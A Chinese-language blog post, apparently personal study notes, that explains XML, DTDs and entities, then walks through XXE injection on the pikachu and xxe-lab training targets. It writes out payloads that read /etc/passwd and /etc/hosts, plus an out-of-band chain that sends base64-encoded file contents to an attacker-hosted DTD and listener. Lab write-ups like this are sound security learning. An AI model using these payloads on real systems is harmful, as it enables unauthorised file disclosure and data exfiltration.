xxe 学习

XML介绍

xml代表可扩展标记语言。标记语言是一组代码或标记,用于描述数字文档中的文本。最著名的标记语言是超文本标记语言(HTML),用于格式化/展示网页。xml被设计用来传输和存储数据,不用于表现和展示数据。

HTML标记是固定的,每个网站开发者都是用相同的标签来做相同的事情

而XML允许创建自己的标签来标记数据,XML的灵活性有很多好处,允许在公司数据库和网站之间传输数据,而不会丢失关键的描述性信息。其次,XML会使搜索更加高效,因为搜索引擎可以通过标签定位而不是长文本进行搜索。

xml语法
1
2
3
4
5
<?xml version="1.0" encoding="UTF-8" ?>
<persion>
<Name>Hmm</Name>
<Age>18</Age>
</persion>
DTD文档:用于定义合法的xml文档构建模块

实用方式:

1.内部声明DTD:

1
<!DOCTYPE 根元素[元素声明]>

2.外部引用DTD:

1
<!DOCTYPE 根元素 SYSTEM "外部DTD的url">

3.引用公共DTD:

1
<!DOCTYPE 根元素 PUBLIC "DTD标识名" "公用的DTD的url">
xml实体

实体可以理解为变量,其必须在DTD中定义申明,可以在文档中的其他位置引用该实体的值。实体根据引用的方式,还可以分为内部实体与外部实体,看看这些实体的申明方式。

普通实体(在XML文档中)

在xml文档中调用 &实体名字

  • 内部实体
1
<!ENTITY 实体名称 "实体的值" >
  • 外部实体
1
<!ENTITY 实体名称 SYSTEM "url" >
参数实体(用在DTD文档中)

在DTD文档中 %实体名字

1
2
3
<!ENTITY %实体名称 "实体的值" >
或者
<!ENTITY %实体名称 SYSTEM "url" >
XML实体实例演示
1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test[
<!ENTITY name "idea">]>
<foo>
<value>
&name;
</value>
</foo>
1
2
3
4
5
<?xml verison="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY %name SYSTEM "file:///etc/passwd">
%name;
]>

XML外部实体注入

XML外部实体注入,简称XXE漏洞。xxe是针对解析xml输入的应用程序的一种攻击。当弱配置的xml解析器处理包含对外部实体的引用的xml输入时,就会发生此攻击。

实验1(pikachu靶场)

1
2
3
4
5
<?xml version="1.0" ?>
<!DOCTYPE note[
<!ENTITY hacker "test">
]>
<name>&hacker;</name>

image-20240109132427881

我在框中提交上面的xml

image-20240109132500459

发现是被成功解析了

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<x>&f;</x>

image-20240109132956081

实验2 (xxe-lad)

image-20240109133731626

image-20240109134424838

Payload:

1
2
3
4
5
<?xml version = "1.0"?>
<!DOCTYPE ANY [
<!ENTITY f SYSTEM "file:///etc/hosts">
]>
<user><username>&f;</username><password>admin888</password></user>

image-20240109134832042

以上都是有回显的,那么在没有回显的情况下,可以通过OOB带外注入的方法通过外带数据通道来提取数据,构造payload如下

还是上述实验代码

image-20240109140338577

image-20240109140439907

可以看到没有结果了

构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///读取的文件">
<!ENTITY % dtd SYSTEM "http://attcker_ip/a.dtd">
%dtd;
%send;
]>




攻击者远程部署的a.dtd文档中的内容为:

<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://攻击者ip:端口号?%file;'>">
%start;

image-20240109152505247

1
python3 -m http.server 7777

启动一个http服务

image-20240109152543829

在目标上的payload

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE test[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/hosts">
<!ENTITY % dtd SYSTEM "http://192.168.34.46:7777/a.dtd">
%dtd;
%send;
]>

发送payload

image-20240109152336493

然后查看我们监听的端口

image-20240109152608681

将内容base64解码即可

image-20240109152633220


xxe 学习
http://idea-oss.github.io/2024/01/09/xxe-学习/xxe学习/
作者
iDea
发布于
2024年1月9日
许可协议